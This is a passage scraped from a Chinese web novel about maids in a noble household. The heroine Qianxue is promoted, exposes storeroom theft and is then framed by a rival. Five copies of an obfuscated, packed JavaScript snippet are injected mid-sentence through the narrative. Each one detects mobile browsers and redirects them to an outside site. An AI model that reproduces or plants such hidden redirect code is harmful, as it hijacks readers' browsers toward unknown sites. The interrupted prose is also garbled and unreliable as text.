“哟！千雪姑娘可够忙的！出去这大半天，是采买处活儿还没交代完呢，还是冯娘子又有新‘教导’了？”旁边丫头噗嗤偷笑。 千雪眼皮都懒得抬，直接问菊青，“四小姐可在里面？” 她这两天已经摸清芳华院的情况了，她可不想在这里当个扫雪的丫鬟。 菊青一愣，随即夸张地捂嘴，“呀！这就急着去找小姐诉苦告我们的状啦？快去快去！瞧瞧小姐会不会搭理你！”讽刺味十足。 千雪二话不说，绕过她往正屋走。 “她还真敢去！”小丫头惊了。 “怕什么！”菊青冷笑抱臂，“等着看她吃瘪！四小姐能听她的？” 正屋里，四小姐懒洋洋靠着熏笼看话本，听小丫头传报千雪求见，有点意外，“她找我？让她进来。”倒要看看这硬塞进来的丫鬟想干什么。 千雪垂眼进来。 “什么事？”四小姐语气淡淡。 千雪抬眼，目光平静，“奴婢有些要紧话想单独回禀小姐。”声音不高，但清晰。 旁边侍立的大丫鬟锦书立刻竖眉，“大胆！四小姐面前你敢挑三拣四？有什么事直说！” 四小姐眉头微蹙，看了锦书一眼，还是道，“锦书不是外人，你说吧。” 千雪立刻弯腰，“奴婢无事可禀，奴婢告退。”动作干脆，一副等四小姐同意，她扭头就走的模样。 四小姐愣住了！ 锦书更是气急败坏，“放肆！你……” “锦书，”四小姐突然开口打断，眼神莫测地盯着千雪，“你……先出去。” 锦书瞬间瞪大眼，脸上全是错愕和不甘，“小姐！” “出去！”四小姐声音不大，却带上了主子的威仪。 锦书狠狠剜了千雪后脑勺一眼，不甘愿地退出去了，轻轻关上门。 屋里只剩下两人，四小姐坐直身体，看着垂手而立的千雪。 “行了。现在可以说了？” 四小姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908431|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手指轻轻敲着熏笼边缘，等着千雪开口。 千雪抬起头，目光直视四小姐，语气平稳，抛出的第一句话却像颗炸雷。 “奴婢想当四小姐身边的一等大丫鬟！” “呵！”四小姐忍不住嗤笑出声，像是听到了天大的笑话，“就凭你？” 千雪丝毫不退，紧接着往下砸， “奴婢本在采买处，是大夫人的人。被塞来您这儿，是有人算计，想必四小姐你也知道。”她语速很快，抢在四小姐发怒前，“可您要了我并且对我委以重任，不就等于表明了想亲近大夫人吗？” 四小姐眉头猛地一跳，终于认真的看了看千雪。 千雪迎着她的目光，话更直白也更锋利，“黄姨娘待您……真的够用心么？您的婚事，说到底，最后拿主意的可是大夫人！” “婚姻，是女人第二次投胎。这次，多少能自己挑一挑。”她盯着四小姐有些震动的脸，“黄姨娘对您的前程不上心，可夫人在意啊！您亲近夫人，夫人能不念您这份好？” “奴婢初来府里就能进采买处得冯娘子看重，”她话锋一转，带着强烈的自信，“您觉得奴婢只是个靠运气的草包？奴婢敢保证，若真心认您为主，定当全力以赴！” 她不等四小姐反应，矛头直指核心痛处，“您看看芳华院！锦书姐姐只顾着守着大丫鬟的位置，可底下都乱成什么样了？二等那几个，春华菊青她们，成天勾心斗角，眼睛只盯着那点蝇头小利！您进门那天廊下那些人，不是看戏就是偷懒！有几分是真心实意为您打算？” 她深吸一口气，放出最后也是最有分量的话，“您是打算带着这样一盘子散沙、各怀鬼胎的‘陪嫁班底’，嫁进别人府里当正室？只怕到时候，这些人不光帮不上忙，还要给您惹下天大的麻烦！” 话音落地，室内一片死寂。只有熏笼里炭火燃烧轻微的噼啪声。四小姐脸上那丝轻蔑嘲讽早已消失得无影无踪，取而代之的是深深的震动和一丝被戳破隐秘心思的惊怒！她死死盯着站在下方的千雪，胸口起伏不定。千雪却不再言语，只是微微垂着眼。 18. 第十八章 算计成功 千雪那番话像滚烫的烙铁，烫在四小姐心口。 四小姐那双漂亮的眼睛死死盯着千雪，里面翻滚着震惊、不甘、惶恐，还有一丝被强行戳破现实后的狼狈。 沉默半晌。 “……真心？”四小姐开口，声音有些干涩，带着浓浓的怀疑，“你说认我为主，我凭什么信你？”这话问得尖锐，也现实。 千雪没有半分犹豫，膝盖一弯，“咚”地一声，实实在在跪了下去，她背脊挺得笔直，目光毫不闪避地迎向四小姐探究的视线， “奴婢此刻发誓，四小姐您也未必就信。真心不是靠嘴说，路遥知马力，日久见人心。”她声音沉静有力，没有一丝谄媚，“奴婢所求，只有一个！” 她顿了顿，一字一顿清晰地砸在地上， “日后四小姐若是开恩，有朝一日，能将奴婢的身契握在自己手里，再给奴婢一个放归良籍的恩典！奴婢后半生，无论嫁人还是做小营生，终得自由！这便是奴婢唯一所求！” 自由！放归良籍！ 这两个字眼像重锤，狠狠敲在四小姐心坎上！ 有所求就好拿捏。 她脑子里不受控制地闪过二小姐的影子，那个同样庶出的二姐，只因为生母是夫人身边的体面陪嫁丫鬟，婚事就被夫人精心安排给了伯府嫡次子！虽是次子，那也是正经伯府勋贵人家！而她呢？黄姨娘除了偶尔送点吃食首饰，何曾真正替她谋划过将来？ 再看她这芳华院！乱成这样，黄姨娘问过吗？锦书管得了吗？有谁真心替她盘算过一丝一毫？她心里积压的委屈和恐慌，此刻被千雪赤裸裸的话语撕开一个大口子。 “呼……”四小姐长长地、无声地吐出一口气。指尖无意识地掐紧了腿上锦缎的被面。她抬眼重新看向地上跪着的千雪。这小丫头眼神里的坦荡、沉静，还有那点破釜沉舟的狠劲儿，竟让她品出了一点……依靠的可能？ 一个能靠自己做账，被夫人塞进采买处的丫头，能直接点明她处境核心，敢跟她谈“自由”这种奢望的丫头……或许，真的能成为她的助力？至少，比锦书那几个只知道掐尖的要强！ “好……”四小姐的声音有些哑，突然下定了某种决心，“你要当一等大丫鬟，可以。”她眼神倏然锐利起来，“但你说‘日久见人心’，我要看到你的心！现在，就跟我去一趟大夫人那里。” 她利落地站起身，锦缎摩擦发出轻微的声响，“能不能拿到你想要的‘资格’，得让大夫人点头。顺便……也让有些人看看，我吴玉瑶院子里的事，到底该听谁的！” 最后一句，带着初生的，不容置疑的主子气势。千雪心头一跳，知道这把赌上自己前程与自由的“投名状”，至少赢得了第一个台阶！ 她站起身，垂手肃立， “是！奴婢谨遵四小姐吩咐！” 两人一前一后走出屋子，门外忐忑张望的锦书等人看到四小姐脸色沉沉却又带着千雪出来，说要立刻去见大夫人时，全都僵在了原地，脸上第一次露出了真正的惊疑和不安。 芳华院的风，要开始转向了。 “都不必跟着，千雪随我去就行。” 吴玉瑶的话压得锦书等人钉在原地，眼睁睁看着千雪低眉顺眼地跟在小姐身后，径直出了芳华院。 寒风刮在脸上，吴玉瑶拢紧了披风，步子迈得又急又稳，千雪沉默地紧随其后。 目标明确——锦居，国公夫人杜氏的正院。 寒风吹得锦居廊下的灯笼摇晃不止，通报后，四小姐吴玉瑶带着千雪踏入了国公夫人的正房。 屋里弥漫着暖香和炭火气，驱散了外面的寒意。国公夫人杜氏正倚在铺着厚锦褥的紫檀木软榻上，眉宇间带着些操劳的倦意，身旁小几上还摊着账册，抬眼看见四小姐进来。 “这个时辰怎么过来了？外面天冷地冻的，在自己院里歇着就好，有什么事打发人来回一声便是。”杜氏的声音温婉。 她目光随即落到吴玉瑶身后的丫鬟身上，这丫鬟穿着芳华院二等的服色，垂首侍立，姿态沉静， “叨扰母亲安歇了。”四小姐吴玉瑶恭敬地福了福身，声音清晰，“是祖母前些日子指来我身边的丫头，名叫千雪。听说是母亲这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908432|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边采买处出身的好手，母亲想是知道的。我院子里一直缺个大丫鬟管着事儿，我瞧着这丫头很是稳重伶俐，想提她上来做个帮手。所以特意带她来，特意来回禀母亲一声，不知是否允可？” 国公夫人杜氏端着茶盏的手微微一顿！眼睛看向千雪，瞬间恍然！也立刻明白了四小姐这趟“禀报”背后的深意，这是在明确地投靠她这嫡母，摆明了和黄姨娘划清界限！ 杜氏眼底飞快地掠过一丝不易察觉的光芒，嘴角随即弯起温和的笑意，“瞧你这孩子，这等小事，既是你院子里的，你自己做主便是。这丫头……”她再次打量千雪，语气带着些许赞许，“看着是个稳重的。” 她放下茶盏，象征性地嘱咐千雪，“既得了四小姐青眼，往后更要尽心伺候主子，好好当差，莫要辜负了。”这话说得自然，既是场面话，也是点给明白人听的。 接着话锋一转，语气更显亲热，直接对吴玉瑶道，“郑妈妈，把前儿内造局新送来的那套红宝头面给四姐儿拿来。正是花一样的年纪，该好好打扮。过了年就十三了，女儿家花期短，相看的事儿也该提上心思了。” 最后那句轻飘飘的话，却带着无比的分量！吴玉瑶耳根子猛地一热，脸颊飞红，低头羞涩应道，“女儿省得，谢母亲赏赐。” “去吧。”国公夫人摆手。 吴玉瑶带着郑妈妈捧来的首饰匣子，领着千雪告退。 门帘落下。 帘子刚落下，国公夫人脸上那点亲昵的笑意收敛了几分，对身边的郑妈妈道，“倒是没料到，这小丫头还真有些本事。短短几日，竟让四姐儿如此上心，还特意带她来走这一趟？” 郑妈妈正用小银剪子轻轻剪掉烛芯一小截焦黑的部分，烛光微微一跳，明亮了几分。她听着夫人的话，布满皱纹的脸上露出一丝了然的笑容，低声道，“夫人明鉴，四小姐哪里是单单看重那丫头？她看重的，是锦居这片天呐。她如今是把砝码，实实压在了夫人您这边了。” 国公夫人放下茶盏，指尖轻轻敲着桌面，脸上终于露出一抹真正舒畅的笑意，“是这么个理儿。” 19. 第十九章 立威 捧着沉甸甸的首饰匣子刚踏出锦居大门，四小姐脚步未停，低声对身后的千雪道，“放心，今日我便下令，升你做一等。”她微微侧头看了千雪一眼，“院里的婆子管事位置一直空悬，你也一并代管了吧。” 千雪立刻应道，“谢四小姐信任！奴婢定当竭心尽力。”她顿了顿，捧着匣子的手紧了紧，试探着问，“只是……新官上任，总得有把‘火’烧一烧才好，不然底下那些踩低捧高的心思难收。不知……奴婢能否动一个位置？挑个不安分的立立规矩，往后管事也好说话？” 四小姐脚步微不可察地顿了一瞬，并未回头，只从鼻腔里轻轻“嗯”了一声。没说不行，便是默许。 这声“嗯”落在千雪耳中如同天籁！她心中大定，知道四小姐是要她放手立威了。 芳华院众人都在屏息等着，见四小姐和千雪回来，目光齐刷刷聚焦。四小姐径直走到廊下正中，声音不高，却清晰地传到每个人耳朵里， “即日起，千雪升任我身边一等大丫鬟。” 瞬间，院子里呼吸声都停顿了！ “锦书依旧掌管我贴身首饰衣物梳洗等事。千雪总管院中事务、一应人事调度、库房账目、外院往来接洽。”四小姐目光扫过众人，“院里暂时空缺的管事妈妈职责，也由千雪代领。尔等需尽心配合，不得有误！” 这命令如晴天霹雳！众人全傻了眼！锦书更是脸色煞白，身体晃了一下。 四小姐说完，看也不看众人的反应，径直进了内室。锦书慌得六神无主，什么也顾不上了，小跑着跟了进去。 院子里死一般寂静，只剩下寒风刮过。 所有人的目光都复杂地聚焦在千雪身上。羡慕？嫉妒？恐惧？ 千雪站在刚刚四小姐的位置，腰背挺得笔直。目光如同寒刃，冷冷扫视全场，最后精准地落在角落里那个对她尚算客气、此时却有些瑟缩的圆脸丫头——小橘身上。 “小橘，”千雪声音清脆响起。 “啊？……千，千雪姑娘？”小橘受惊般抬头，结结巴巴。 “从今日起，”千雪手指抬起，遥遥一点，“你升二等丫鬟，接手菊青之前的差事。”说着把手上捧的首饰匣子给了小橘，示意她接过。 小橘立刻上前捧着匣子站在千雪身后。 轰！ 这话如同火上浇油！ 站在小橘旁边、原本一脸看好戏的菊青，瞬间脸色由白转红再转青！她像是被踩了尾巴的猫，猛地窜出来，声音尖利得刺耳， “凭什么！你凭什么？！” 她指着千雪的鼻子，气得浑身发抖，“小橘算个什么东西？！她……” “放肆！”千雪一声断喝，声音陡然拔高，如同冰锥，一下将菊青尖利的质问钉死！ “芳华院内！四小姐当面刚颁了令！你算个什么东西？！也敢当着我的面，在主子的地盘上，大声喧哗，质问主子亲点的管事？！” 这一连串的喝问，每个字都带着新官上任的滔天威势！强大的气场瞬间压得菊青窒了一下！ 千雪根本不给她再次开口的机会，目光如电射向人群外围一个平日还算稳重的粗壮婆子，“李妈妈！” 那婆子被点名，一个激灵，下意识挺直腰板，“老奴在！” “把这个目无尊卑、以下犯上的东西！”千雪指着脸色惨白，已被吓得呆住的菊青，“立刻！马上！送去外院珍珠那里！告诉珍珠，此人刁顽无状，藐视主子，芳华院不敢再用这等坏规矩的奴才！请珍珠看着处置！” 字字铿锵，杀气腾腾！ “是！奴婢遵命！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908433|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”李婆子也被这气势慑住，心头一凛，不敢怠慢，立刻招呼旁边两个壮实的粗使丫鬟，“把她架起来！带走！” 两个粗使丫鬟二话不说，上前一人一边，像老鹰抓小鸡一样把还没完全反应过来的菊青胳膊死死架住，拖着就走！ 这菊青平日可没少耀武扬威，特别是对她们这些粗使丫鬟，今日算是等到机会了。 “放开我！你们放开我！千雪！你个贱……”菊青这才回过神，尖叫着挣扎踢打，头发散乱，眼睛赤红。 啪！一个清脆的耳光狠狠扇在她脸上！是李婆子动的手！ “堵了她的嘴！拖出去！”李婆子恶狠狠下令。一个媳妇麻利地扯了块布塞进菊青嘴里，呜呜声都被堵了回去。三人连拖带拽，飞快消失在院门口，那凄厉的呜咽声很快远去。 整个过程干脆利落，如同快刀斩乱麻！从千雪点名到菊青被拖走，不过十几个呼吸的时间！院内众人噤若寒蝉，大气不敢出！看着那个立在廊下、眼神冰冷如刀的年轻女子，只觉得一股寒气从脚底板直窜头顶！ “规矩，就是规矩！”千雪环视全场，声音不大，却清晰地敲在每个人心头，“四小姐既把话搁下了，这芳华院，往后就按规矩来！都明白了吗？” “……明白！”稀稀拉拉，带着颤抖的回应响起。 千雪不再看众人，目光转向身边已经吓得快要晕过去的小橘，声音依旧平淡，仿佛刚刚的雷霆手段只是拂去一片灰尘， “还愣着做什么？跟我去清点库房。” 她转身，步履沉稳地朝库房方向走去。身后小橘如梦初醒，慌得跌跌撞撞跟上。 内室的窗户缝隙后，一双沉静而莫测的眼睛，将刚才院中发生的一切，尽收眼底。四小姐吴玉瑶的唇角，缓缓勾起一丝难以言喻的弧度。 20. 第二十章 查库房 房门一开，灰尘味扑鼻。昏暗光线下，一排排架子堆着杂物。小橘点了个油灯，手还在哆嗦。 千雪神色如常，掏出随身带着的小册子和笔。采买处盘货，这是老本行。 “所有账册，领用册，破损登记册，都拿来。”她声音冷静。 小橘慌忙去找。 千雪翻开册子，一一对照。 她眼神锐利，手指点着， “入库簿上记着，上月入库内造新绢花两匣，每匣六朵，共十二朵。”翻开销册，“月例只放了四朵给三等粗使小春，小春一个粗使能领这绢花？谁领的？” 小橘忙看领用簿，“翠…翠柳姐姐签押领走的，应该是给锦书姐姐配衣料的添头，没写数量。” 千雪冷哼一声，“支取册写了吗？” “没…没写具体数量。”小橘头更低了。 千雪直接走到存放丝绢首饰的架子前，“实物盘存，拿来我看。” 小橘搬出个半空的紫檀木匣，千雪数过去，手指一顿， “十二朵？算上已发四朵，也还有八朵，如今盒子里只有十朵？”她眼神更冷。 她又翻出另一项， “南珠粉，入库六两一罐，共两罐。月例支取记录……嗯？” 她手指停在一条模糊记录上，“领用簿上有翠柳签押，领南珠粉一罐……没写分量。库房支取册记损耗二钱？哼！实物呢？” 她打开装脂粉的小瓷坛，用银簪浅浅挑开一层。脸色骤然沉下， “只剩底子一层灰白，别说六两，连一两都勉强！” 她目光如刀射向小橘，“南珠粉贵重，入库必有分量签押。支取损耗册谁记的？” 小橘脸色煞白，“都…都是翠柳姐姐记……” “去！把翠柳给我叫来！现在！”千雪声音不大，却带着刺骨寒意。 翠柳被叫来时还一脸不耐烦，“正伺候锦书姐姐调头油呢，库房这点破事……” 话没说完就被千雪手中那两朵“多出来”但料子明显低劣的假绢花和装着浅薄一层南珠粉的坛子堵了回去。 千雪把小账本狠狠拍在桌上， “绢花账实不符，凭空多出劣货！南珠粉库房存余不足损耗登记零头！领用簿是你签押，支取册是你记录！以次充好，虚报损耗，中饱私囊！” “入库，内造新绢花两匣十二朵。”翻开支用簿，“月例发四朵。库房存根登记应存八朵。”瞥实物匣，“存十朵？” 她捏起其中两朵，丝线暗淡无光，“料劣工糙，非官造。”目光扫向小橘旁的翠柳，“耗损没记，拿次货充数？” 翠柳强自镇定，挤出笑，“是……是奴婢不小心混进去……” 千雪嘴角噙着冷意，指尖再点， “入库，新缠丝红线五束。”存根登记余三束。实物一翻——两束半？半束断线打结！“ “奴婢疏忽……断线耗损……”翠柳声音发虚，额角冒汗。 千雪没理会，目光已跳至下一条贵重记录， “上月入库，赤金缠丝点翠大簪一支！”她声音陡然拔高！眼睛死死盯住存根册！没有支取记录！没有损耗登记！ “簪子呢？”她猛地转向装贵重物品的红漆木匣，空空如也！ “入库，湖丝帕子十条！领用簿只登记一条被菊青领走！”翻实物樟木匣五条！ “入库，杭锦两匹整！”再看库中架子，只剩半匹！ 死寂！库房落针可闻！ 千雪抓起红漆空匣和只剩半匹杭锦，“哐”一声砸在翠柳面前！声音冷得很。 “点翠簪！一条帕子！半匹杭锦！没领条！没损耗！凭空消失？！人赃俱获！价值过百两！窃盗主家贵重财物的死罪！” “死罪”二字如重锤！翠柳脑中轰然炸响！“噗通”一声烂泥般瘫倒！额头瞬间冒了冷汗！脸色惨白如鬼。 “饶……饶命啊！簪子帕子杭锦……真不是我！是黄姨娘！全是黄姨娘逼我的！”她涕泪横流，嚎啕出绝望的秘密， “前头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908434|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绢花线团那些不值钱的小东西…是…是我鬼迷心窍……可簪子帕子杭锦！姨娘她……她外面印子钱利滚利还不上了！逼我想办法‘周转’！点翠簪当了一百两！杭锦帕子说是去……去充体面送礼了！说后面再补……补不上了啊！我命都在姨娘手里攥着！我不敢不偷啊！千雪姑娘明鉴！救我！乱棍会打死我的啊！” 哭嚎震得灰尘簌簌落下。小橘抖如秋叶。 她朝门口待命的李婆子一挥手，“拖出去。堵了嘴关起来，等着发落。” 李婆子等人早有准备，立刻如狼似虎扑上，堵嘴架胳膊一气呵成！翠柳就被硬生生拖了出去。 账目清点干净，缺失贵重物品的清单连同翠柳的供词偷换的次品绢花丝线，以及黄姨娘指使偷盗当铺的贵重物品，被千雪工整誊录，呈送到四小姐吴玉瑶面前。 内室里，吴玉瑶捏着那张纸，指尖用力到发白，胸口剧烈起伏。脸上先是不可置信的震惊，随即变成了屈辱和怒火！ “她……她偏疼吴景轩，我认了！可拿我的东西去填她的窟窿？拿去给她儿子挥霍？还是去堵外面那些见不得人的烂账？！”她声音少见的因愤怒而颤抖尖利，“我竟是她生的钱袋子？！” 委屈和耻辱同时涌上心头，但下一秒，水汽从眼底渗出。闹出来？亲娘指使下人偷亲生女儿库房？这丑闻传出去，国公府小姐的脸面，她吴玉瑶的亲事前程，就全完了！ “罢了！”她猛地将单子拍在桌上，声音冰冷而疲惫，“把翠柳和菊青一样，处理掉！塞到珍珠那里！库房钥匙……你看死！”她抬眼，盯着千雪，“还有东西吗？” 千雪垂首，“其余小件劣质充数的证物，一并封存。” 四小姐疲惫摆手，“知道了。人送走，你再去提两个安分的粗使上来补位。” “是。”千雪利落应下。锦书站在角落，看着四小姐对千雪的绝对信任，听着自己连处理“家务”都被排除在外，心头那股恐慌和嫉恨像藤蔓疯长！一等？再这样下去，她锦书的位置…… 21. 第二十一章 东西丢了? 夜深人静，锦书避开了所有耳目，请了平素几个还能说点话的二等，婆子，在她干娘负责侍弄花草的张婆子屋里，摆开一小桌算得上“丰盛”的席面。酒是薄酒，菜色也称不上金贵，但在这深宅后院角落，已是难得的“心意”。 “干娘辛苦了，各位姐妹们受惊了。”锦书强笑着给众人倒酒。 酒过三巡，气氛却僵冷。 锦书终于挑明意图，眼圈泛红，“那千雪……太狠！今日拔了菊青翠柳，明日呢？我们这些老人在她眼里算个什么？大家伙……得想想后路啊！” 她期待地看着众人。 空气死寂。 李婆子夹菜的筷子都在抖，没说话。赵安媳妇垂着头只顾喝闷酒。另一个二等丫头秋杏，紧张地啃着自己的指甲。 “怕什么！”张婆子为给干女儿撑场，猛一拍桌子，“一个小丫头片子，仗着小姐撑腰罢了！我们在府里熬了多少年根儿？她算什么东西！大家伙拧成一股绳……” 话没落音，旁边一直沉默的孙婆子突然“啪嗒”一声，手里的酒杯摔在桌上！酒液溅得到处都是！她像是被蝎子蜇了，猛地站起来，脸色惨白，“锦…锦书姑娘，我…我屋里炉子上还炖着东西，忘…忘了！得赶紧回去看看！失陪！失陪了！”说罢，也不等回应，几乎是跌撞着冲出门去！ 她开了这个头。 “我……我肚子疼！”又一个丫鬟捂着肚子站起来。 “对对！我也想起还有活儿没干完……” 席面上瞬间乱成一团，人人找借口，仓惶离席！眼神躲闪，连看都不敢再看锦书和张婆子。 眨眼间，原本就不热闹的小桌，只剩下锦书和张婆子大眼瞪小眼！还有几杯冷酒，几碟只动了皮毛的菜肴。寒气顺着窗户缝往屋里钻。 锦书脸色惨白，手中的筷子“啪”一声掉在地上。 张婆子看着瞬间冷清的桌面，刚才那点强撑起来的凶悍消失得一干二净，脸上肌肉抽搐了几下，干巴巴地骂了一句，“一，一群怂货！”却也只能悻悻地拿起筷子，恶狠狠咬了一口面前已经凉透的鸡腿，像是在泄愤，又像是在掩饰巨大的惶恐和失落。 锦书那颗心，就像被架在火上烤。眼看着千雪在四小姐跟前的分量越来越重，连库房钥匙都捏得死紧，她这个大丫鬟的体面快成了空架子。干娘屋里那场尴尬收场的“密谋”让她明白，硬碰硬没人敢帮她。得换个阴路子！ —— 除夕的气氛临近，芳华院里也多了几分忙碌。但千雪丝毫不敢放松，院规越严，越有人盯着她的错处。锦书看似沉寂了，可那双偶尔瞥来的眼睛里，压抑的恨意只增不减。 这日午后，千雪正带人在偏房清点年节要用的红绸灯饰。库房暂时无人看守，留了个负责洒扫的小丫头在门口守着做样子。锦书想机会来了。 锦书捏着四小姐吩咐去取的一支小珠钗做幌子，佯作无意踱到库房门口。“小姐等着要，我进去拿个花钯配一配，很快出来。”她对小丫头笑笑，显得极自然。小丫头哪里敢拦这位大丫鬟，连连点头。 闪身进了库房，锦书心脏怦怦直跳。她目标明确，直奔存放小姐旧日首饰的楠木小柜。飞快打开其中一格，在一堆不太起眼，款式略旧的首饰里，精准地摸到了一对金托镶蓝宝石的蝶恋花耳坠。 蓝宝不大，但成色不错，是早年黄姨娘随手赏的。 她飞快地将耳坠攥进手心，同时用指甲尖在小柜旁挂着的一本薄册上的相应位置，极其轻，极其快地划了一道浅浅的痕。 若非提前知晓位置细看，几乎无法察觉。随即关好柜子，若无其事地拿了个不起眼的小绒花钯走了出去。 “多谢你啊。”她对小丫头温言一句，将绒花钯塞进袖口，快步离开。那对蓝宝耳坠，已然藏在了她最贴身，最不可能被搜到的衣物夹缝里。第一步，埋钉完成。 几日风平浪静。 这天，四小姐被三小姐明褒暗贬地调侃了几句妆扮寡淡，心情有些郁躁。锦书替她卸钗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908435|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 环时，故意拿起一个旧式金项圈翻看，嘴里像是不经意地嘀咕，“这款式略老了点……前儿那对嵌蓝宝的蝶恋花耳坠，倒是清爽，配您那件藕荷色袄子不错……” 四小姐闻言，懒懒扫了一眼妆匣，“哦？找找看，在哪格了？” 锦书立刻应声，装模作样地翻找，从最上层到底层，脸上渐露“急切”，“哎？怪了……前几天还见过的……”她动作幅度越来越大，甚至故意撞翻一个小妆匣，弄得叮当响。 “怎么回事？”四小姐蹙眉。 “小姐！”锦书扑通跪下了，为了演的更像脸上是真有几分“惶恐”了，“那对蝶恋花蓝宝耳坠……好像……好像不见了！奴婢该死！前几日盘点库房……奴婢还见千雪姑娘动过那首……”她故意将“首饰盒”几个字含在嘴里，又猛地闭嘴，一脸说错话的自责模样。 千雪此时正在内室整理四小姐明日要穿的衣裳，听到动静和对话，眉梢微不可察地一挑。 “不见了？”四小姐声音冷了下来，目光扫过地上跪着的锦书，又掠过内室门口千雪探询的身影，“千雪前几日清点库房？” 千雪心中警铃大作！她清楚记得这对耳坠，因款式旧并未重点记录，但入库点检是亲历的。锦书此刻翻出来说丢，又提起她清点库房……来者不善！ 她上前一步，沉稳开口，“是奴婢清点的。小姐可还记得那耳坠款式？奴婢可立刻再入内核查库房登记。” “对！库房登记！”锦书像是抓到了救命稻草，“小姐明鉴！奴婢记得在薄册上是登记了位置的！”她说着就要起身去库房拿那本册子来“佐证”。 “不必了。”四小姐冷声打断锦书的表演，目光落在千雪脸上，“千雪，去把登记册拿来。东西丢了，总要查清楚。”她眼神里，没有了前些日子的亲厚，重新染上了审视。 “是，奴婢这便去查。”千雪压下翻腾的心绪，转身疾步朝库房走去。她知道锦书一定在册子上动了手脚，但也必须硬着头皮查！ 22.第二十二章 陷害 就在千雪刚踏进库房片刻，外面回廊上忽然传来一个粗使婆子刘婆子故意拔高的惊讶声。 “哎呦我的老天爷！小橘姑娘！你这袖子夹袋里是藏的什么宝贝疙瘩？！摸着这么硬？” 声音正好让内室，廊下乃至库房都听得一清二楚！ 只见那浆洗房粗壮婆子手里正捏着件浆洗过的，领口带着小橘名签的青布夹袄，两根粗糙的手指硬是从袖口内侧一个极其隐秘的夹层，抠出两粒蓝汪汪，豆大的，切割略嫌粗陋的蓝宝石！ 与此同时，库房里，千雪刚翻开那本记载旧首饰的薄册，手指立刻停在了蝶恋花耳坠的记录旁—那道浅浅的，几乎无法辨别的指甲划痕，刺眼地趴在那里！ 册子上有记录，位置有划痕，库房失窃的东西偏偏是蓝宝耳坠，赃物偏偏是两颗蓝宝石，赃物偏偏在和她同屋，被她提拔的小橘浆洗衣物里被发现！ 好毒辣的连环套！ 千雪猛地合上册子，心沉到了冰点。她快步走出库房，正看到外面已乱成一团！看反应千雪已经猜出是谁陷害她了，如今在芳华院还有这本事的只有她了。 小橘被人拽着胳膊，吓傻了，面无人色地对着那婆子手里两粒宝石，“不……我不知道！这不是我的！我没藏东西！” 锦书则又惊又怒地指着宝石，“天！这……这不是蝶恋花耳坠上的蓝宝吗？！”她猛地转向面沉如水的千雪，似乎不敢相信是千雪干的 “千雪姑娘！库房钥匙只在你和小橘手上！这宝石在小橘衣服里！耳坠丢了！这…难道是你们监守自盗，把东西拆了私藏变卖？！”她这指控，直接坐实了最可怕的罪名，合伙窃盗，熔金取宝，转移赃物！ 人证刘婆子，物证宝石，动机库房管理便利，时间失窃在她清点后，同伙小橘，作案方式熔托取宝……一个完美闭合，伪证链条形成！ 所有人的目光，包括四小姐冰冷审视的目光，都聚焦在千雪身上，等待她的解释，小橘的哭声响彻庭院。 千雪没有立刻辩驳，她甚至没有看那宝石和哭喊的小橘。眼神越过纷乱的人群，落在锦书的脸上。锦书眼底深处那抹一闪而逝的，大仇得报的快意和阴毒，比那蓝宝石的光芒更刺眼。 “把宝石收起来。”千雪声音异常平静，同锦书预想的完全不一样，锦书没由来的有些心慌。 千雪对那个还捏着宝石不知所措的刘婆子说。声音不大，却带着一股奇异的力量，让那婆子下意识地把宝石攥紧在手心。 